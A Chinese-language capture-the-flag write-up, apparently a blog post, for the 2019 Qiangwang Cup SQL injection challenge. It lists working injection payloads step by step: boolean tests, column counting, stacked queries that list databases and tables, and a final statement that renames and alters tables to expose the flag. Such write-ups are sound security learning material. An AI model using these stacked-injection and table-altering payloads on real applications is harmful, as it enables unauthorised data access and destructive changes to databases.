[强网杯 2019]随便注 WriteUp(three way)思路

随便注,自己就瞎搞一通

 1’and 1=1;#          1'and 1=2;#有回显,可能存在注入

1' order by 3;#错误回显,说明数据只有两个字段

想要查询数据 1' select 1,2,database();#

发现正则过滤掉了一些语句

然后发现 1‘or 1=1;# 可以把所有数据查出来,但是我们并没有看到想要的flag相关的信息

select查询被过滤,搞了一通,结果最后还是看了大佬的wp,用到的是堆叠注入,也是今天才知道sql还有这个,分号分开多个查询语句同时可以用。然后我们用学到的新姿势 堆叠注入爆数据库1'; show databases;#

紧接着就继续爆表名 1'; show tables;#

查到两个表,我们查看表结构1';desc `表名`;#

发现flag在1919810931114514这张表中

再查看words表结构,只有id 和data两列数据,而开头我们测试查看表中的数据字段也只有两列,所以猜测提交的就是查询的这张表,又因为堆叠注入,我们就可以利用改名该字段的方式去尝试获得flag

1'; rename table words to junlebao;rename table `1919810931114514`to words; alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

然后再做一下第一遍,1’or 1=1;#

 得到 flag{3e8bea8a-3951-4329-a498-d8e1cd3ba48c}

整个文档是参考这位大佬的wirte up  https://www.jianshu.com/p/6c6a44517dd7

原文地址:https://www.cnblogs.com/junlebao/p/13681278.html